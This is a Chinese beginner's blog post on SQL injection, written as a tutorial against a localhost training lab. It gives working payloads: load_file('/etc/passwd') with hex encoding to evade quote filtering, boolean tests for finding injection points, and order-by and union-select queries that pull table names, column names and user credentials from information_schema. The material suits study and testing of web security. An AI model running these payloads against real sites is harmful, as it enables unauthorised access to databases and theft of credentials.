初学sql注入

2018/10/14
断断续续的学习web安全已经半个月了,写这个博客的目的就是为了见证自己的成长吧,因为初学,可能有错误或不足,望包涵。

SQL注入的基础知识:

单引号必须成对出现,否则数据库就会报错。
如果两个单引号之间内容为空,数据库自动忽略。
UNION查询列数必须相同,数据类型必须兼容。

MYSQL常用的注释:

‘#’
’ - - 空格或者- -+’
’ / * … */’

MySQL中常见的函数:

1.load_file():从计算机中载入文件,读取文件中的数据。

例:elect * from users union select 1,load_file(’/etc/passwd’),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制

2.concat():返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。
例:select concat(username,password)from users;

3.length():返回字符串的长度。
例:select length(“123456”) #返回6

数字型注入的步骤

在这里我用URL/?id=1来为例。
1.先判断网页是否可以被注入。可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。

URL/?id=1‘ ①
URL/?id=1 and 1=1 ②
URL/?id=1 and 1=2 ③

如果②页面正常且①③页面报错,那么可以判断为该网页存在URL注入且注入类型为数字型注入,id是一个注入点。

2.爆数据库并判断数据库类型以及版本。
构造语句如下:URL/?id=1 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是MYSQL,并且版本大于4.0,支持union查询,反之是4.0以下的版本或者其他类型数据库。

3.爆字段。
URL/?id=1 order by 1
URL/?id=1 order by 2
…以此类推 直到页面报错,如果order by 5时候报错,则说明字段数为4.

4.爆表。
URL/?id=1 and 1=2 union select 1,2,3,4
或者 URL/?id=-1 union select 1,2,3,4
页面返回数字,假如为2,3,则说明数据储存在2,3位,我们可以把2,3的位置替换为我们想要查询的关键字,例如:数据库名,用户名,密码等等。
具体操作:URL/?id=1 and 1=2 union select 1,2,database(),4 按下Enter 此时页面会返回一个数据库的名称,同理还可以返回其他的你想要得到的内容。
如果要查某一表中的内容则操作如下:
URL/?id=1 and 1=2 union select 1,2,username from 表名

补充一点额外知识:提供一个SQL注入实验室
http://localhost/btslab/vulnerability/ForumPosts.php?id=1
MYSQL中有个数据库叫做information_schema,这个里有张表叫做tables,其中的table_name列储存了所有数据库中的所有表名,而table_schema则储存着该表所在的数据库名,group_concat()则可以把多项数据联合成一个字符串http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到bts数据库中的表。

2.MYSQL中有个数据库叫做information_schema,这个里有张表叫做columns,其中的column_name列储存了所有数据库中的所有表的列名,而table_name列则储存着该列所在的表名,table_schema列储存着所在的数据库名。
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’ and table_schema=database()
得到用户名 和密码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值